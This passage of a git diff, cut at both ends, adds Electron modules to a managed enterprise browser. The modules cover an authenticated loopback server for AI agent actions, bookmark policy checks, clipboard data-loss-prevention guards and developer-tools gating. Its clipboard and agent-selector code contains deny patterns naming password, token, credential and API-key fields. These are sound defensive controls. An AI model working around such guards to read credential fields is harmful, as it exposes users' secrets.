inspect(text,{...initial,action});current();if(verdict?.decision!=='allow')throw Error('Company policy blocks content access');} + } + return result; + }])); + return { + ...appAdapters, + sessions:async(args={}, {signal}={})=>{ + const c=getContext(); + if(signal?.aborted || !c?.ready || !c.policy?.agents?.enabled || !c.policy.agents.scopes?.includes('sessions') || (c.policy.expiresAt && Date.parse(c.policy.expiresAt)<=Date.now())) throw Error('Managed session unavailable'); + return getSessions().map(item=>({id:item.id,title:String(item.title || 'Tab').slice(0,160),foreground:item.foreground===true})); + }, + navigate:async(args,{signal}={})=>{const initial=snapshot(args,signal,'navigate');const url=new URL(args.url);if(!['http:','https:'].includes(url.protocol)||url.username||url.password||initial.destinationAllowed(url.href,initial.policy)!==true || (initial.policy.agents.allowedHosts.length && !initial.policy.agents.allowedHosts.some(p=>hostMatches(url.hostname,p))))throw Error('Destination blocked');const refreshed=await navigate(url.href,initial,{signal});if(!refreshed || refreshed.sessionId!==initial.sessionId || refreshed.webContents!==initial.webContents || (refreshed.policyVersion ?? refreshed.policy?.version)!==initial.version)throw Error('Managed session changed during action');check({...refreshed,action:initial.action,version:initial.version,url:url.href},args,signal,url.href);return {completed:true};}, + read:dom('read'),click:dom('click'),type:dom('type'), + ai:async(args,{signal}={})=>{const initial=snapshot(args,signal,'ai');if(typeof args.prompt!=='string'||args.prompt.length>16384)throw Error('Invalid prompt');const result=await ai(args.prompt,{signal});check(initial,args,signal);const text=typeof result==='string'?result:result?.text ?? result?.answer;return {text:await classify(text,initial,args,signal,false)};} + }; +} +module.exports={createAgentAdapters}; diff --git a/apps/browser/agent-client.cjs b/apps/browser/agent-client.cjs new file mode 100644 index 0000000..9b54cc7 --- /dev/null +++ b/apps/browser/agent-client.cjs @@ -0,0 +1,23 @@ +const {app}=require('electron'); +const fs=require('node:fs'),path=require('node:path'); +function configureClient(connectionFile){ + if(!connectionFile||!path.isAbsolute(connectionFile))throw Error('Absolute encrypted pairing file required'); + app.setPath('userData',path.join(app.getPath('appData'),'safetynet-agent-helper')); +} +async function runClient(connectionFile,requestFile){ + let stage='credential-store';try{ + if(!requestFile)throw Error('Request file required'); + stage='pairing';const descriptor=JSON.parse(fs.readFileSync(connectionFile,'utf8')); + if(descriptor.format!=='windows-dpapi-v1')throw Error('Pairing format rejected'); + const connection=JSON.parse(await require('./dpapi.cjs').capabilityCrypto('unprotect',descriptor.protectedConnection)); + const origin=new URL(connection.address); + if(origin.protocol!=='http:'||origin.hostname!=='127.0.0.1'||origin.username||origin.password||origin.pathname!=='/'||origin.search||origin.hash)throw Error('Agent endpoint rejected'); + stage='request-file';const info=fs.statSync(requestFile);if(!info.isFile()||info.size>32768)throw Error('Request too large'); + const body=fs.readFileSync(requestFile);if(body.length>32768)throw Error('Request too large');JSON.parse(body.toString()); + stage='transport';const response=await require('./loopback-http.cjs').postLoopback({port:Number(origin.port),route:'/v1/actions',token:connection.token,body:JSON.parse(body.toString()),signal:AbortSignal.timeout(15000)}); + stage='policy-response'; + const result=response.body;if(response.status!==200)throw Error('Agent policy denied action'); + process.stdout.write(JSON.stringify(result)+'\n');app.exit(0); + }catch(error){error.clientStage=stage;throw error;} +} +module.exports={configureClient,runClient}; diff --git a/apps/browser/agent-control.cjs b/apps/browser/agent-control.cjs new file mode 100644 index 0000000..ef2b4c1 --- /dev/null +++ b/apps/browser/agent-control.cjs @@ -0,0 +1,131 @@ +'use strict'; +const http = require('node:http'); +const crypto = require('node:crypto'); +const fs = require('node:fs/promises'); +const path = require('node:path'); + +const APP_ACTIONS=Object.freeze(['application:state','settings:get','settings:update','bookmarks:list','bookmarks:mutate','tabs:create','tabs:activate','tabs:close','tabs:group']); +const SCOPES = Object.freeze({ sessions: 'sessions:list', navigate: 'browser:navigate', read: 'browser:read', click: 'browser:interact', type: 'browser:interact', ai: 'ai:request',...Object.fromEntries(APP_ACTIONS.map(action=>[action,action])) }); +const fail = (status, message) => Object.assign(new Error(message), { status }); +const bounded = (value, max, name) => { + if (typeof value !== 'string' || !value.length || value.length > max || /\u0000/.test(value)) throw fail(400, `Invalid ${name}`); + return value; +}; +function validate(body) { + if (!body || typeof body !== 'object' || Array.isArray(body) || Object.keys(body).some(k => !['action', 'args'].includes(k))) throw fail(400, 'Invalid action envelope'); + const action = body.action; + if (!Object.hasOwn(SCOPES, action)) throw fail(400, 'Unsupported action'); + const args = body.args ?? {}; + if (!args || typeof args !== 'object' || Array.isArray(args)) throw fail(400, 'Invalid arguments'); + const keys = { sessions: [], navigate: ['sessionId', 'url'], read: ['sessionId'], click: ['sessionId', 'selector'], type: ['sessionId', 'selector', 'text'], ai: ['sessionId', 'prompt'],'application:state':[],'settings:get':[],'settings:update':['appearance'],'bookmarks:list':[],'bookmarks:mutate':['action','bookmark','id','expectedRevision','policyVersion'],'tabs:create':['group','url'],'tabs:activate':['sessionId'],'tabs:close':['sessionId'],'tabs:group':['sessionId','group'] }[action]; + if (Object.keys(args).some(k => !keys.includes(k))) throw fail(400, 'Unsupported argument'); + const clean = {}; + if (action !== 'sessions' && args.sessionId !== undefined) clean.sessionId = bounded(args.sessionId, 128, 'sessionId'); + if (action === 'navigate') { + let url; try { url = new URL(bounded(args.url, 4096, 'url')); } catch { throw fail(400, 'Invalid URL'); } + if (!['http:', 'https:'].includes(url.protocol) || url.username || url.password) throw fail(400, 'Unsupported URL'); + clean.url = url.href; + } + if (['click', 'type'].includes(action)) { + clean.selector = bounded(args.selector, 512, 'selector'); + // A small CSS subset prevents pseudo-elements, escapes and control characters. + if (!/^[a-zA-Z0-9_#.*\[\]="' >+~-]+$/.test(clean.selector) || /password|autocomplete/i.test(clean.selector)) throw fail(400, 'Unsupported selector'); + } + if (action === 'type') clean.text = bounded(args.text, 16384, 'text'); + if (action === 'ai') clean.prompt = bounded(args.prompt, 16384, 'prompt'); + if(action.startsWith('tabs:')&&action!=='tabs:create')clean.sessionId=bounded(args.sessionId,128,'sessionId'); + if(action==='tabs:create'&&args.url!==undefined){let url;try{url=new URL(bounded(args.url,4096,'url'));}catch{throw fail(400,'Invalid URL');}if(!['http:','https:'].includes(url.protocol)||url.username||url.password)throw fail(400,'Unsupported URL');clean.url=url.href;} + if(['tabs:create','tabs:group'].includes(action)&&args.group!==undefined){if(typeof args.group!=='string'||args.group.length>40||/[\u0000-\u001f\u007f]/.test(args.group))throw fail(400,'Invalid group');clean.group=args.group;} + if(action==='tabs:group'&&args.group===undefined)throw fail(400,'Invalid group'); + if(action==='settings:update'){try{clean.appearance=require('./managed-settings.cjs').validateAppearance(args.appearance);}catch{throw fail(400,'Invalid appearance settings');}} + if(action==='bookmarks:mutate'){ + if(!['add','update','delete'].includes(args.action)||!Number.isSafeInteger(args.expectedRevision)||args.expectedRevision<0||!Number.isSafeInteger(args.policyVersion)||args.policyVersion<1)throw fail(400,'Invalid bookmark operation'); + clean.action=args.action;clean.expectedRevision=args.expectedRevision;clean.policyVersion=args.policyVersion; + if(args.action==='delete')clean.id=bounded(args.id,80,'bookmark id');else{const item=args.bookmark;if(!item||typeof item!=='object'||Array.isArray(item)||Object.keys(item).some(key=>!['id','title','url','folder'].includes(key)))throw fail(400,'Invalid bookmark');const folder=item.folder===undefined?'':item.folder;if(typeof folder!=='string'||folder.length>80||/[\u0000-\u001f\u007f]/.test(folder))throw fail(400,'Invalid bookmark folder');clean.bookmark={id:bounded(item.id,80,'bookmark id'),title:bounded(item.title,120,'bookmark title'),url:bounded(item.url,2048,'bookmark URL'),folder};} + } + return { action, args: clean, scope: SCOPES[action], sessionId: clean.sessionId }; +} +// Never return adapter objects wholesale: session handles and sanitized text only. +function project(action, result) { + if(action==='application:state')return {ready:result?.ready===true,policyVersion:Number.isSafeInteger(result?.policyVersion)?result.policyVersion:0,activeTabId:typeof result?.activeTabId==='string'?result.activeTabId.slice(0,128):null,tabCount:Number.isSafeInteger(result?.tabCount)?result.tabCount:0}; + if(action==='settings:get'||action==='settings:update'){const appearance=result?.appearance||{};return {visible:result?.visible===true,hiddenSections:Array.isArray(result?.hiddenSections)?result.hiddenSections.filter(s=>['appearance','library','ai','passwords','documentScan','agents'].includes(s)):[],lockedSections:Array.isArray(result?.lockedSections)?result.lockedSections.filter(s=>['appearance','library','ai','passwords','documentScan','agents'].includes(s)):[],appearance:{mode:['system','light','dark'].includes(appearance.mode)?appearance.mode:'system',accent:['blue','teal','violet'].includes(appearance.accent)?appearance.accent:'blue',tabMode:['compact','separate'].includes(appearance.tabMode)?appearance.tabMode:'separate'}};} + if(action==='bookmarks:list'){const items=values=>{if(!Array.isArray(values)||values.length>1000)throw fail(502,'Invalid bookmarks');return values.map(item=>({id:bounded(item.id,80,'bookmark id'),title:bounded(item.title,120,'bookmark title'),url:bounded(item.url,2048,'bookmark URL'),folder:typeof item.folder==='string'?item.folder.slice(0,80):''}));};return {managed:items(result?.managed||[]),personal:{revision:Number.isSafeInteger(result?.personal?.revision)?result.personal.revision:0,items:items(result?.personal?.items||[])},allowUserAdd:result?.allowUserAdd===true,allowUserEdit:result?.allowUserEdit===true,allowUserDelete:result?.allowUserDelete===true,policyVersion:Number.isSafeInteger(result?.policyVersion)?result.policyVersion:0};} + if(action.startsWith('tabs:')||action==='bookmarks:mutate')return {completed:result?.completed===true,...(typeof result?.sessionId==='string'?{sessionId:bounded(result.sessionId,128,'session id')}:{})}; + if (action === 'sessions') { + if (!Array.isArray(result) || result.length > 100) throw fail(502, 'Invalid session response'); + return result.map(s => ({ id: bounded(s.id, 128, 'session id'), ...(typeof s.title === 'string' ? { title: s.title.slice(0, 256) } : {}), ...(typeof s.foreground === 'boolean' ? {foreground:s.foreground} : {}) })); + } + if (action === 'read' || action === 'ai') { + if (typeof result?.text !== 'string' || result.text.length > 65536) throw fail(502, 'Invalid text response'); + return { text: result.text }; + } + return { completed: result?.completed !== false }; +} + +async function startAgentControl({ authorize, actions, audit, credentialFile, persistCredential, onError, timeoutMs = 10000, maxRequestsPerMinute = 60 } = {}) { + if (typeof authorize !== 'function' || typeof audit !== 'function' || !actions) throw new TypeError('authorize, actions and audit are required'); + if (!Number.isInteger(timeoutMs) || timeoutMs < 10 || timeoutMs > 60000 || !Number.isInteger(maxRequestsPerMinute) || maxRequestsPerMinute < 1 || maxRequestsPerMinute > 1000) throw new TypeError('Invalid limits'); + const token = crypto.randomBytes(32).toString('base64url'); + const expected = Buffer.from(`Bearer ${token}`); + let enabled = true, windowStart = Date.now(), requests = 0; + const running = new Set(); + const server = http.createServer(async (req, res) => { + res.setHeader('Content-Type', 'application/json'); + res.setHeader('Cache-Control', 'no-store'); + res.setHeader('X-Content-Type-Options', 'nosniff'); + const reply = (status, data) => { if (!res.destroyed && !res.writableEnded) { res.writeHead(status); res.end(JSON.stringify(data)); } }; + const controller = new AbortController(); + let action, outcome = 'denied', timer; + try { + const supplied = Buffer.from(req.headers.authorization || ''); + if (!enabled || supplied.length !== expected.length || !crypto.timingSafeEqual(supplied, expected)) throw fail(401, 'Unauthorized'); + if (req.headers.origin || req.headers['sec-fetch-site'] || !/^127\.0\.0\.1:\d+$/.test(req.headers.host || '')) throw fail(403, 'Browser-origin requests forbidden'); + if (req.method !== 'POST' || req.url !== '/v1/actions') throw fail(404, 'Not found'); + if (!/^application\/json(?:\s*;|$)/i.test(req.headers['content-type'] || '')) throw fail(415, 'JSON required'); + if (Date.now() - windowStart >= 60000) { windowStart = Date.now(); requests = 0; } + if (++requests > maxRequestsPerMinute) throw fail(429, 'Rate limit exceeded'); + let size = 0, chunks = []; + for await (const chunk of req) { size += chunk.length; if (size > 32768) throw fail(413, 'Request too large'); chunks.push(chunk); } + let body; try { body = JSON.parse(Buffer.concat(chunks).toString('utf8')); } catch { throw fail(400, 'Invalid JSON'); } + const request = validate(body); action = request.action; + if (typeof actions[action] !== 'function') throw fail(403, 'Action unavailable'); + running.add(controller); + const operation = (async () => { + const grant = await authorize({ ...request, signal: controller.signal }); + if (!enabled || controller.signal.aborted || grant?.allowed !== true || !['agent', 'admin'].includes(grant.role) || !Array.isArray(grant.scopes) || !grant.scopes.includes(request.scope)) throw fail(403, 'Policy denied action'); + await audit({ action, scope: request.scope, sessionId: request.sessionId, outcome: 'authorized' }); + if (!enabled || controller.signal.aborted) throw fail(403, 'Agent access revoked'); + return project(action, await actions[action](request.args, { signal: controller.signal })); + })(); + const result = await Promise.race([operation, new Promise((_, reject) => { timer = setTimeout(() => { controller.abort(); reject(fail(504, 'Action timed out')); }, timeoutMs); })]); + if (!enabled || controller.signal.aborted) throw fail(403, 'Agent access revoked'); + outcome = 'completed'; + await audit({ action, outcome }); + reply(200, { result }); + } catch (error) { + // Diagnostics expose only known static reasons, never arbitrary adapter errors. + if (typeof onError === 'function') { + const reasons=['Document changed before action','Managed session unavailable','Unknown managed session','Session destination blocked','Agent scope denied','Agent destination denied','Managed session changed during action','Sensitive content cannot be returned','Inspection unavailable','Company policy blocks content access','Target is unavailable or sensitive','Target cannot receive text','Invalid text response','Policy denied action','Action timed out']; + const reason=reasons.find(value=>String(error.message).includes(value)) || 'unclassified-action-failure'; + try { await onError({action:action || 'agent-request',status:error.status || 500,reason}); } catch { /* Diagnostics cannot change enforcement. */ } + } + try { await audit({ action: action || 'agent-request', outcome, status: error.status || 500 }); } catch { /* Deny even if audit unavailable. */ } + reply(error.status || 500, { error: error.status ? error.message : 'Agent action failed' }); + } finally { clearTimeout(timer); running.delete(controller); } + }); + server.requestTimeout = 15000; server.headersTimeout = 10000; server.maxHeadersCount = 32; + await new Promise((resolve, reject) => { server.once('error', reject); server.listen(0, '127.0.0.1', resolve); }); + const address = `http://127.0.0.1:${server.address().port}`; + const revoke = () => { enabled = false; for (const c of running) c.abort(); }; + const close = async () => { revoke(); server.closeAllConnections(); await new Promise(resolve => server.close(resolve)); }; + try { + const credential = { address, token }; + if (persistCredential) await persistCredential(credential); + if (credentialFile) { + if (!path.isAbsolute(credentialFile)) throw new TypeError('Credential path must be absolute'); + await fs.writeFile(credentialFile, JSON.stringify(credential), { mode: 0o600, flag: 'wx' }); + } + } catch (error) { await close(); throw error; } + return { address, token, close, revoke }; +} +module.exports = { startAgentControl, SCOPES }; diff --git a/apps/browser/bookmarks.cjs b/apps/browser/bookmarks.cjs new file mode 100644 index 0000000..bccd065 --- /dev/null +++ b/apps/browser/bookmarks.cjs @@ -0,0 +1,25 @@ +const {requireSection}=require('./managed-settings.cjs'); +function libraryVisible(settings){return !!settings?.available&&!settings.hiddenSections.includes('library');} +function bookmarkState({policy,ready,settings}){ + const rules=policy?.browser?.bookmarks; + if(!ready||!libraryVisible(settings)||!rules)return {managed:[],personal:{revision:0,items:[]},allowUserAdd:false,allowUserEdit:false,allowUserDelete:false}; + const result=structuredClone(rules);if(!settings.visible||settings.lockedSections.includes('library'))result.allowUserAdd=result.allowUserEdit=result.allowUserDelete=false;return result; +} +function validateMutation(input,{policy,ready,settings,destinationAllowed,now=Date.now()}){ + if(!ready||!policy||Date.parse(policy.expiresAt)<=now)throw Error('Managed browser access is paused'); + requireSection(settings,'library'); + const rules=policy.browser.bookmarks; + if(!input||!['add','update','delete'].includes(input.action)||Object.keys(input).some(key=>!['action','bookmark','id','expectedRevision','policyVersion'].includes(key)))throw Error('Invalid bookmark operation'); + if(input.expectedRevision!==rules.personal.revision||input.policyVersion!==policy.version)throw Error('Bookmarks changed. Refresh before editing.'); + if(!rules[{add:'allowUserAdd',update:'allowUserEdit',delete:'allowUserDelete'}[input.action]])throw Error('Bookmark changes are controlled by your administrator'); + const id=input.action==='delete'?input.id:input.bookmark?.id; + if(typeof id!=='string'||!/^[A-Za-z0-9_-]{1,80}$/.test(id)||rules.managed.some(item=>item.id===id))throw Error('Company bookmarks cannot be changed'); + if(input.action==='add'&&rules.personal.items.some(item=>item.id===id)||input.action!=='add'&&!rules.personal.items.some(item=>item.id===id))throw Error('Bookmark identity is unavailable'); + if(input.action==='delete')return {action:input.action,id,expectedRevision:input.expectedRevision,policyVersion:input.policyVersion}; + const item=input.bookmark; + if(Object.keys(item).some(key=>!['id','title','url','folder'].includes(key))||typeof item.title!=='string'||!item.title.trim()||item.title.length>120||/[\u0000-\u001f\u007f]/.test(item.title)||typeof item.folder!=='string'||item.folder.length>80||/[\u0000-\u001f\u007f]/.test(item.folder)||typeof item.url!=='string'||item.url.length>2048)throw Error('Invalid bookmark details'); + let url;try{url=new URL(item.url);}catch{throw Error('Invalid bookmark URL');} + if(!['https:','http:'].includes(url.protocol)||url.username||url.password||url.search||url.hash||!destinationAllowed(url.href,policy))throw Error('Bookmark destination is not approved'); + return {action:input.action,bookmark:{id,title:item.title.trim(),url:url.href,folder:item.folder.trim()},expectedRevision:input.expectedRevision,policyVersion:input.policyVersion}; +} +module.exports={bookmarkState,validateMutation,libraryVisible}; diff --git a/apps/browser/clipboard-deny.cjs b/apps/browser/clipboard-deny.cjs new file mode 100644 index 0000000..d230d17 --- /dev/null +++ b/apps/browser/clipboard-deny.cjs @@ -0,0 +1,27 @@ +// Session frame preload: no page bridge, Node engine, filesystem API or clipboard payloads. +if(process.sandboxed!==true||process.contextIsolated!==true){require('electron').ipcRenderer.send('managed:clipboard-sandbox-failure');window.stop();throw Error('Managed renderer isolation is required');} +// Freeze the legacy command primitive in the page realm. Document.open() removes +// DOM listeners, but cannot replace this non-configurable prototype property. +try { + require('electron').contextBridge.executeInMainWorld({func:()=>{ + const prototype=Document.prototype,existing=Object.getOwnPropertyDescriptor(prototype,'execCommand'); + if(existing?.value?._managedClipboardGuard===true&&!existing.configurable)return; + const original=prototype.execCommand,apply=Reflect.apply,test=RegExp.prototype.test.bind(/^(copy|cut|paste)/i); + function managedClipboardCommand(command,...args){ + if(typeof command!=='string'||test(command))return false; + return apply(original,this,[command,...args]); + } + Object.defineProperty(managedClipboardCommand,'_managedClipboardGuard',{value:true}); + Object.defineProperty(prototype,'execCommand',{value:managedClipboardCommand,writable:false,configurable:false}); + // Replacement clears security listeners; these unsupported legacy APIs fail closed. + const SecurityException=DOMException; + const denyReplacement=()=>{throw new SecurityException('Managed document replacement is disabled','SecurityError');}; + for(const name of ['open','write','writeln'])Object.defineProperty(prototype,name,{value:denyReplacement,writable:false,configurable:false}); + }}); +} catch { + require('electron').ipcRenderer.send('managed:clipboard-sandbox-failure'); + window.stop(); + throw Error('Managed clipboard primitive could not be protected'); +} +for(const name of ['copy','cut','paste','dragstart','dragover','drop'])window.addEventListener(name,event=>{event.preventDefault();event.stopImmediatePropagation();},true); +window.addEventListener('beforeinput',event=>{if(/^(insertFromPaste|insertFromDrop|deleteByCut)/.test(event.inputType||'')){event.preventDefault();event.stopImmediatePropagation();}},true); diff --git a/apps/browser/clipboard-dom.cjs b/apps/browser/clipboard-dom.cjs new file mode 100644 index 0000000..a46e8de --- /dev/null +++ b/apps/browser/clipboard-dom.cjs @@ -0,0 +1,44 @@ +'use strict'; +function clipboardDOM(mode,url,token,operation,payload,limit){ + if(mode==='discard'){if(globalThis.__safetynetClipboardSnapshot?.token===token)delete globalThis.__safetynetClipboardSnapshot;return {completed:true};} + if(location.href!==url||window.top!==window)throw Error('Clipboard frame changed'); + const field=document.activeElement; + const editable=e=>e&&(e.tagName==='TEXTAREA'||e.tagName==='INPUT'&&/^(text|search|email|url|tel)$/i.test(e.type))&&!e.disabled&&!e.readOnly; + const sensitive=e=>{for(let p=e;p&&p!==document.body;p=p.parentElement)if(/password|passwd|secret|token|credential|api.?key|auth|one.?time|otp|master/i.test(['name','id','autocomplete','aria-label'].map(a=>p.getAttribute(a)||'').join(' ')))return true;return /^(password|file|hidden)$/i.test(e?.type||'');}; + const visible=e=>{if(!e||e.closest('[hidden],[aria-hidden="true"],[inert]'))return false;let p=e,count=0;while(p&&count++<64){const s=getComputedStyle(p);if(s.display==='none'||s.visibility==='hidden'||s.opacity==='0')return false;p=p.parentElement;}return !p&&e.getClientRects().length>0;}; + const rangeSafe=range=>{const ancestor=range.commonAncestorContainer.nodeType===1?range.commonAncestorContainer:range.commonAncestorContainer.parentElement;if(!ancestor?.isConnected||!visible(ancestor)||sensitive(ancestor)||ancestor.closest('input,textarea,[contenteditable],script,style,template,noscript')||ancestor.querySelector?.('input,textarea,[contenteditable]'))return false;const walker=document.createTreeWalker(ancestor,NodeFilter.SHOW_ELEMENT);let e,visited=0;while((e=walker.nextNode())){if(++visited>2048)return false;if(range.intersectsNode(e)&&(!visible(e)||sensitive(e)||/^(SCRIPT|STYLE|TEMPLATE|NOSCRIPT)$/.test(e.tagName)))return false;}return true;}; + if(mode==='stage'){ + const snapshot={token,operation,field};let text=''; + if(field&&(field.tagName==='INPUT'||field.tagName==='TEXTAREA'||field.isContentEditable)){ + if(!editable(field)||sensitive(field)||!visible(field))throw Error('Clipboard target denied'); + snapshot.kind='field';snapshot.value=field.value;if(snapshot.value.length>limit)throw Error('Clipboard target size limit');snapshot.start=field.selectionStart;snapshot.end=field.selectionEnd; + if(!Number.isInteger(snapshot.start)||!Number.isInteger(snapshot.end))throw Error('Clipboard selection unsupported'); + text=operation==='paste'?'':snapshot.value.slice(snapshot.start,snapshot.end); + }else{ + if(operation!=='copy')throw Error('Clipboard edit target unsupported'); + const selection=getSelection();if(!selection||selection.rangeCount!==1||selection.isCollapsed)throw Error('Clipboard selection unavailable'); + const range=selection.getRangeAt(0),ancestor=range.commonAncestorContainer.nodeType===1?range.commonAncestorContainer:range.commonAncestorContainer.parentElement; + if(!rangeSafe(range))throw Error('Clipboard rich selection unsupported'); + snapshot.kind='range';snapshot.range=range.cloneRange();text=range.toString(); + } + if(typeof text!=='string'||text.length>limit||text.includes('\0'))throw Error('Clipboard size limit'); + snapshot.text=text;globalThis.__safetynetClipboardSnapshot=snapshot;return {text}; + } + const snapshot=globalThis.__safetynetClipboardSnapshot;if(mode!=='validate')delete globalThis.__safetynetClipboardSnapshot; + if(!snapshot||snapshot.token!==token||snapshot.operation!==operation)throw Error('Clipboard snapshot unavailable'); + if(snapshot.kind==='field'){ + const e=snapshot.field;if(e!==document.activeElement||!e.isConnected||e.value!==snapshot.value||e.selectionStart!==snapshot.start||e.selectionEnd!==snapshot.end||!editable(e)||sensitive(e)||!visible(e))throw Error('Clipboard target changed'); + if(mode!=='validate'&&operation!=='copy'){ + const value=operation==='paste'?payload:'';if(typeof value!=='string'||value.length>limit)throw Error('Clipboard payload denied'); + e.setRangeText(value,snapshot.start,snapshot.end,'end');e.dispatchEvent(new Event('input',{bubbles:true})); + } + }else{ + const selection=getSelection(),range=selection?.rangeCount===1?selection.getRangeAt(0):null,original=snapshot.range; + if(!range||range.startContainer!==original.startContainer||range.endContainer!==original.endContainer||range.startOffset!==original.startOffset||range.endOffset!==original.endOffset||range.toString()!==snapshot.text)throw Error('Clipboard selection changed'); + const ancestor=range.commonAncestorContainer.nodeType===1?range.commonAncestorContainer:range.commonAncestorContainer.parentElement; + if(!rangeSafe(range))throw Error('Clipboard selection changed'); + } + return {completed:true}; +} +const clipboardScript=(mode,{url,token,operation,text='',limit})=>`(${clipboardDOM.toString()})(${JSON.stringify(mode)},${JSON.stringify(url)},${JSON.stringify(token)},${JSON.stringify(operation)},${JSON.stringify(text)},${JSON.stringify(limit)})`; +module.exports={clipboardScript}; diff --git a/apps/browser/clipboard-guard.cjs b/apps/browser/clipboard-guard.cjs new file mode 100644 index 0000000..a718739 --- /dev/null +++ b/apps/browser/clipboard-guard.cjs @@ -0,0 +1,43 @@ +'use strict'; +const {randomUUID}=require('node:crypto'); +function createClipboardGuard({getContext,stage,validate,commit,discard,readClipboard,writeClipboard,inspect,audit,timeoutMs=10000}){ + let pending=null; + const current=c=>{const n=getContext(c.webContents);return n.ready&&n.tabId===c.tabId&&n.activation===c.activation&&n.policy===c.policy&&n.url===c.url&&n.navigationId===c.navigationId&&n.webContents===c.webContents&&n.webContents?.focusedFrame===n.webContents?.mainFrame&&Date.parse(n.policy?.expiresAt)>Date.now();}; + async function run(operation,webContents){ + const c=getContext(webContents),token=randomUUID();let text='',timer,expired=false; + const denied=async ruleId=>{await audit('clipboard.block',ruleId);return{completed:false,ruleId};}; + const work=async()=>{try{ + if(!['copy','cut','paste'].includes(operation)||!current(c))return denied('clipboard-context-denied'); + const limit=Math.min(c.policy.security?.clipboard?.maxTextBytes||0,c.policy.dlp.maxBytes); + if(!limit)return denied('clipboard-policy-unavailable'); + const snapshot=await stage({operation,token,url:c.url,limit,webContents:c.webContents}); + if(!current(c)||expired)return denied('clipboard-context-changed'); + if(operation==='paste')text=await readClipboard(limit);else text=snapshot.text; + if(!current(c)||expired)return denied('clipboard-context-changed'); + if(typeof text!=='string'||Buffer.byteLength(text)>limit||text.includes('\0'))return denied('clipboard-size-limit'); + const verdict=await inspect(Buffer.from(text),c.policy,operation); + if(!current(c)||expired)return denied('clipboard-context-changed'); + if(verdict?.decision!=='allow')return denied(verdict?.ruleId||'clipboard-inspection-failed'); + // Persist authorization before side effects; never audit raw clipboard text. + await audit(`clipboard.${operation}`); + if(!current(c)||expired)return denied('clipboard-context-changed'); + const args={operation,token,url:c.url,text,limit,webContents:c.webContents}; + if(operation==='cut'){ + const validated=await validate(args); + if(validated?.completed!==true||!current(c)||expired)return denied('clipboard-target-changed'); + await writeClipboard(text); + if(!current(c)||expired)return denied('clipboard-context-changed'); + } + const result=await commit(args); + if(result?.completed!==true||!current(c)||expired)return denied('clipboard-target-changed'); + if(operation==='copy'){await writeClipboard(text);if(!current(c)||expired)return denied('clipboard-context-changed');} + return {completed:true}; + }finally{try{await discard?.({token,webContents:c.webContents});}catch{}}}; + try{return await Promise.race([work(),new Promise(resolve=>{timer=setTimeout(()=>{expired=true;Promise.resolve(discard?.({token,webContents:c.webContents})).catch(()=>{});denied('clipboard-timeout').then(resolve,()=>resolve({completed:false,ruleId:'clipboard-timeout'}));},timeoutMs);})]);} + catch{return denied('clipboard-inspection-failed');} + finally{clearTimeout(timer);text='';} + } + function perform(operation,webContents){if(pending)return Promise.resolve({completed:false,ruleId:'clipboard-busy'});const task=run(operation,webContents);pending=task;task.finally(()=>{if(pending===task)pending=null;}).catch(()=>{});return task;} + return {perform,isPending:()=>!!pending}; +} +module.exports={createClipboardGuard}; diff --git a/apps/browser/developer-tools.cjs b/apps/browser/developer-tools.cjs new file mode 100644 index 0000000..19c12b7 --- /dev/null +++ b/apps/browser/developer-tools.cjs @@ -0,0 +1,36 @@ +'use strict'; +function developerShortcut(input){return input?.type==='keyDown'&&(input.key==='F12'||((input.control||input.meta)&&input.shift&&!input.alt&&['i','j'].includes(String(input.key).toLowerCase())));} +function developerAssetRequestAllowed(details,{ready,policy,tabs}={}){ + if(!ready||policy?.browser?.allowDevTools!==true||Date.parse(policy.expiresAt)<=Date.now()||!Number.isSafeInteger(details?.webContentsId))return false; + let url;try{url=new URL(details.url);}catch{return false;} + if(url.protocol!=='devtools:'||url.hostname!=='devtools'||!url.pathname.startsWith('/bundled/')||url.username||url.password)return false; + return tabs?.some(tab=>{if(tab.view.webContents.isDestroyed())return false;const frontend=tab.security?.developerFrontend||tab.view.webContents.devToolsWebContents;return frontend&&!frontend.isDestroyed()&&frontend.id===details.webContentsId;})===true; +} +function createDeveloperToolsGuard({contents,getContext,isCurrent,audit,createFrontend}={}){ + if(!contents||[getContext,isCurrent,audit].some(fn=>typeof fn!=='function'))throw TypeError('Native developer-tools callbacks required'); + let opening=false,openedState=false,frontend; + const disposeFrontend=()=>{const previous=frontend;frontend=null;if(previous&&!previous.isDestroyed())previous.destroy();}; + const close=()=>{openedState=false;if(!contents.isDestroyed())contents.closeDevTools();disposeFrontend();}; + const allowed=context=>!!context?.ready&&context.foreground===true&&context.policy?.browser?.allowDevTools===true&&Date.parse(context.policy.expiresAt)>Date.now()&&/^https?:\/\//.test(context.url||'')&&!contents.isDestroyed(); + async function toggle(){ + if(contents.isDestroyed())return; + if(openedState||contents.isDevToolsOpened()){close();await audit('devtools.closed');return;} + const context=getContext(); + if(!allowed(context)||opening){await audit('devtools.denied');return;} + opening=true; + try{ + // Publication and activation changes across audit persistence invalidate this grant. + await audit('devtools.open-requested'); + if(!allowed(getContext())||!isCurrent(context)){await audit('devtools.denied');return;} + if(createFrontend){frontend=createFrontend();contents.setDevToolsWebContents(frontend.webContents);frontend.once('closed',()=>{if(!contents.isDestroyed()&&(openedState||contents.isDevToolsOpened()))contents.closeDevTools();});} + contents.openDevTools({mode:'detach',activate:true,title:'S Browser · Privileged developer tools'}); + }finally{opening=false;} + } + const opened=()=>{openedState=true;const context=getContext();if(!allowed(context))close();else {frontend?.show();Promise.resolve(audit('devtools.opened')).catch(close);}}; + const closed=()=>{openedState=false;disposeFrontend();}; + contents.on('devtools-opened',opened); + contents.on('devtools-closed',closed); + contents.once('destroyed',disposeFrontend); + return {handleInput:(event,input)=>{if(!developerShortcut(input))return false;event.preventDefault();toggle().catch(close);return true;},toggle,close,isOpened:()=>openedState,dispose:()=>{contents.removeListener('devtools-opened',opened);contents.removeListener('devtools-closed',closed);close();}}; +} +module.exports={createDeveloperToolsGuard,developerShortcut,developerAssetRequestAllowed}; diff --git a/apps/browser/diagnostics.cjs b/apps/browser/diagnostics.cjs new file mode 100644 index 0000000..17caebb --- /dev/null +++ b/apps/browser/diagnostics.cjs @@ -0,0 +1,56 @@ +'use strict'; +const {AsyncLocalStorage}=require('node:async_hooks'); +const {performance}=require('node:perf_hooks'); +const {randomInt}=require('node:crypto'); +const http=require('node:http'),https=require('node:https'); +const {TracerProvider,BatchSpanProcessor,TraceIdRatioBasedSampler,ParentBasedSampler}=require('@opentelemetry/sdk-trace'); +const {LoggerProvider,BatchLogRecordProcessor}=require('@opentelemetry/sdk-logs'); +const {resourceFromAttributes}=require('@opentelemetry/resources'); +const {OTLPTraceExporter}=require('@opentelemetry/exporter-trace-otlp-http'); +const 